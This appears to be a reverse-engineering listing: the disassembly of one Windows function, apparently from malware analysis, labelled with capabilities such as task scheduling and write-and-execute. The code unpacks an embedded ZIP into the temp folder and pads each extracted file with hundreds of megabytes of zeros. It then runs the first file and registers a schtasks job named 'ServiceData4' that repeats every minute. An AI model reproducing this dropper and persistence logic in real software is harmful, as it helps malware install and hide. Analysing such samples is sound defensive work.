Function at 0x48350a
Capabilities:
Create process on windows
Get common file path
Schedule task via at
Schedule task via schtasks
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov edx, dword [0xe11720]
mov eax, dword [0xcfca28]
add edx, eax
mov eax, dword [0x9fefe4]
add edx, eax
mov eax, dword [0xc7ca04]
add edx, eax
mov eax, dword [0xcfca2c]
add eax, edx
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x69], 0
mov dword [ebp - 0x1c], 0x12c00000
lea eax, [ebp - 0x16d]
mov dword [esp + 4], eax
mov dword [esp], 0x104
mov eax, dword [sym.imp.KERNEL32.dll_GetTempPathA]
call eax
sub esp, 8
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x483583
mov dword [esp], str.Failed_to_get_temp_path
call sym._perror
mov eax, 1
jmp 0x4840b5
mov dword [ebp - 0x174], 0
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x4835f6
mov dword [esp], 2
mov eax, dword [dbg.__acrt_iob_func]
call eax
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x27
mov dword [esp + 4], 1
mov dword [esp], str.Failed_to_allocate_memory_for_ZIP_data_n
call sym._fwrite
mov eax, 1
jmp 0x4840b5
mov dword [esp], str.memcpy_staring
call sym._puts
mov eax, dword [0xe11720]
mov dword [esp + 4], eax
mov dword [esp], str.memcpy_size_is__d_n
call sym._printf
mov eax, dword [0xcfca28]
mov dword [esp + 4], eax
mov dword [esp], str.memcpy_size_is__d_n
call sym._printf
mov eax, dword [0x9fefe4]
mov dword [esp + 4], eax
mov dword [esp], str.memcpy_size_is__d_n
call sym._printf
mov eax, dword [0xc7ca04]
mov dword [esp + 4], eax
mov dword [esp], str.memcpy_size_is__d_n
call sym._printf
mov eax, dword [0xcfca2c]
mov dword [esp + 4], eax
mov dword [esp], str.memcpy_size_is__d_n
call sym._printf
mov eax, dword [0xe11720]
fld qword [0x880a48]
fstp qword [esp + 0xa4]
mov edx, dword [ebp - 0x28]
mov dword [esp + 0xa0], edx
mov edx, dword [ebp - 0x30]
mov dword [esp + 0x9c], edx
fld qword [0x880a38]
fstp qword [esp + 0x94]
fld qword [0x880a38]
fstp qword [esp + 0x8c]
mov dword [esp + 0x88], 0xb938c0
mov dword [esp + 0x84], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x80], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x7c], eax
fld qword [0x880a30]
fstp qword [esp + 0x74]
mov dword [esp + 0x70], 8
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x6c], eax
fld qword [0x880a48]
fstp qword [esp + 0x64]
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x5c], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x58], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x54], eax
fld qword [0x880a50]
fstp qword [esp + 0x4c]
mov dword [esp + 0x48], 9
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x44], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x40], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x3c], eax
fld qword [0x880a60]
fstp qword [esp + 0x34]
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], 5
fld qword [0x880a30]
fstp qword [esp + 0x24]
fldz
fstp qword [esp + 0x1c]
mov dword [esp + 0x18], 3
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0xc], eax
fld1
fstp qword [esp + 4]
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._MemCpy
mov dword [esp], str.memcpy_after_1
call sym._puts
mov eax, dword [0xcfca28]
mov ecx, dword [0xe11720]
mov edx, dword [ebp - 0x2c]
add ecx, edx
fld qword [0x880a50]
fstp qword [esp + 0xa4]
mov edx, dword [ebp - 0x30]
mov dword [esp + 0xa0], edx
mov edx, dword [ebp - 0x28]
mov dword [esp + 0x9c], edx
fld qword [0x880a48]
fstp qword [esp + 0x94]
fld1
fstp qword [esp + 0x8c]
mov dword [esp + 0x88], 0xba8160
mov dword [esp + 0x84], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x80], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x7c], eax
fld qword [0x880a68]
fstp qword [esp + 0x74]
mov dword [esp + 0x70], 2
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x6c], eax
fld qword [0x880a68]
fstp qword [esp + 0x64]
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x60], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x5c], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x58], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x54], eax
fld qword [0x880a40]
fstp qword [esp + 0x4c]
mov dword [esp + 0x48], 2
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x44], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x40], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x3c], eax
fld qword [0x880a50]
fstp qword [esp + 0x34]
mov dword [esp + 0x30], ecx
mov dword [esp + 0x2c], 8
fld qword [0x880a50]
fstp qword [esp + 0x24]
fld qword [0x880a30]
fstp qword [esp + 0x1c]
mov dword [esp + 0x18], 5
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0xc], eax
fld qword [0x880a50]
fstp qword [esp + 4]
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym._MemCpy
mov dword [esp], str.memcpy_after_2
call sym._puts
mov eax, dword [0x9fefe4]
mov ecx, dword [0xe11720]
mov edx, dword [0xcfca28]
add ecx, edx
mov edx, dword [ebp - 0x2c]
add ecx, edx
fld qword [0x880a60]
fstp qword [esp + 0xa4]
mov edx, dword [ebp - 0x30]
mov dword [esp + 0xa0], edx
mov edx, dword [ebp - 0x30]
mov dword [esp + 0x9c], edx
fld qword [0x880a58]
fstp qword [esp + 0x94]
fld qword [0x880a48]
fstp qword [esp + 0x8c]
mov dword [esp + 0x88], 0xaff020
mov dword [esp + 0x84], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x80], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x7c], eax
fld qword [0x880a40]
fstp qword [esp + 0x74]
mov dword [esp + 0x70], 0
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x6c], eax
fld qword [0x880a68]
fstp qword [esp + 0x64]
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x5c], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x58], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x54], eax
fldz
fstp qword [esp + 0x4c]
mov dword [esp + 0x48], 2
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x44], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x40], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x3c], eax
fld qword [0x880a50]
fstp qword [esp + 0x34]
mov dword [esp + 0x30], ecx
mov dword [esp + 0x2c], 2
fld qword [0x880a68]
fstp qword [esp + 0x24]
fld qword [0x880a40]
fstp qword [esp + 0x1c]
mov dword [esp + 0x18], 6
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0xc], eax
fld qword [0x880a60]
fstp qword [esp + 4]
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._MemCpy
mov dword [esp], str.memcpy_after_3
call sym._puts
mov eax, dword [0xc7ca04]
mov ecx, dword [0xe11720]
mov edx, dword [0xcfca28]
add ecx, edx
mov edx, dword [0x9fefe4]
add ecx, edx
mov edx, dword [ebp - 0x2c]
add ecx, edx
fld qword [0x880a30]
fstp qword [esp + 0xa4]
mov edx, dword [ebp - 0x30]
mov dword [esp + 0xa0], edx
mov edx, dword [ebp - 0x28]
mov dword [esp + 0x9c], edx
fld qword [0x880a50]
fstp qword [esp + 0x94]
fld qword [0x880a30]
fstp qword [esp + 0x8c]
mov dword [esp + 0x88], 0xd3ca60
mov dword [esp + 0x84], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x80], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x7c], eax
fldz
fstp qword [esp + 0x74]
mov dword [esp + 0x70], 1
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x6c], eax
fldz
fstp qword [esp + 0x64]
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x5c], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x58], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x54], eax
fld qword [0x880a48]
fstp qword [esp + 0x4c]
mov dword [esp + 0x48], 3
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x44], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x40], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x3c], eax
fld qword [0x880a50]
fstp qword [esp + 0x34]
mov dword [esp + 0x30], ecx
mov dword [esp + 0x2c], 2
fld qword [0x880a60]
fstp qword [esp + 0x24]
fld qword [0x880a38]
fstp qword [esp + 0x1c]
mov dword [esp + 0x18], 9
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0xc], eax
fld qword [0x880a30]
fstp qword [esp + 4]
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._MemCpy
mov dword [esp], str.memcpy_after_4
call sym._puts
mov eax, dword [0xcfca2c]
mov ecx, dword [0xe11720]
mov edx, dword [0xcfca28]
add ecx, edx
mov edx, dword [0x9fefe4]
add ecx, edx
mov edx, dword [0xc7ca04]
add ecx, edx
mov edx, dword [ebp - 0x2c]
add ecx, edx
fld qword [0x880a60]
fstp qword [esp + 0xa4]
mov edx, dword [ebp - 0x38]
mov dword [esp + 0xa0], edx
mov edx, dword [ebp - 0x38]
mov dword [esp + 0x9c], edx
fld qword [0x880a58]
fstp qword [esp + 0x94]
fld qword [0x880a58]
fstp qword [esp + 0x8c]
mov dword [esp + 0x88], 0xf11760
mov dword [esp + 0x84], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x80], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x7c], eax
fld qword [0x880a30]
fstp qword [esp + 0x74]
mov dword [esp + 0x70], 8
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x6c], eax
fld1
fstp qword [esp + 0x64]
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x60], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x5c], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x58], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x54], eax
fld qword [0x880a68]
fstp qword [esp + 0x4c]
mov dword [esp + 0x48], 4
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x44], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x40], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x3c], eax
fld qword [0x880a68]
fstp qword [esp + 0x34]
mov dword [esp + 0x30], ecx
mov dword [esp + 0x2c], 6
fldz
fstp qword [esp + 0x24]
fld1
fstp qword [esp + 0x1c]
mov dword [esp + 0x18], 7
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 0xc], eax
fldz
fstp qword [esp + 4]
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._MemCpy
mov dword [esp], str.memcpy_after_5
call sym._puts
mov dword [esp], str.before_zip_stream_oopen
call sym._puts
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], 0x72
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._zip_stream_open
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x483ce4
mov dword [esp], str.Failed_to_open_zip_stream
call sym._perror
mov eax, 0xffffffff
jmp 0x4840b5
mov dword [ebp - 0xc], 0
jmp 0x483fec
mov dword [esp], str.zip_entry_open
call sym._puts
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0xcfca30]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_entry_open
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jns 0x483d3f
mov dword [esp], str.Failed_to_open_zip_entry
call sym._perror
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x4840b5
lea eax, [ebp - 0x178]
mov dword [esp + 8], eax
lea eax, [ebp - 0x174]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_entry_read
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jns 0x483d93
mov dword [esp], str.Failed_to_read_zip_entry
call sym._perror
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_entry_close
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x4840b5
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_entry_close
lea eax, [ebp - 0x16d]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0xcfca30]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x54], eax
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x54]
add eax, edx
add eax, 2
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jne 0x483e15
mov dword [esp], str.Failed_to_allocate_memory
call sym._perror
mov eax, dword [ebp - 0x174]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x4840b5
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0xcfca30]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x16d]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._sprintf
cmp dword [ebp - 0xc], 0
jne 0x483ebd
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x483eab
mov dword [esp], str.Failed_to_allocate_memory
call sym._perror
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x174]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x4840b5
mov eax, dword [ebp - 0x58]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._strcpy
mov dword [esp + 4], 0x87a774
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jne 0x483f13
mov dword [esp], str.Error_opening_file
call sym._perror
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x174]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x4840b5
mov edx, dword [ebp - 0x178]
mov eax, dword [ebp - 0x174]
mov ecx, dword [ebp - 0x60]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], 1
mov dword [esp], eax
call sym._fwrite
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x178]
cmp dword [ebp - 0x64], eax
je 0x483f8d
mov dword [esp], str.Error_writing_to_file
call sym._perror
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x174]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x4840b5
mov dword [ebp - 0x14], 0
jmp 0x483fbc
mov eax, dword [ebp - 0x60]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 1
lea eax, [ebp - 0x69]
mov dword [esp], eax
call sym._fwrite
add dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x1c]
jb 0x483f96
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x174]
mov dword [esp], eax
call sym._free
add dword [ebp - 0xc], 1
mov edx, dword [ebp - 0xc]
mov eax, dword [0xc7ca08]
cmp edx, eax
jb 0x483cf0
cmp dword [ebp - 0x10], 0
je 0x4840b0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.__create__tn__ServiceData4___tr___s___st_00:01__du_9800:59__sc_once__ri_1__f
lea eax, [ebp - 0x378]
mov dword [esp], eax
call sym._sprintf
mov dword [ebp - 0x44], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x378]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.schtasks.exe
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
call eax
sub esp, 0x18
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._free
mov eax, 0
leave
ret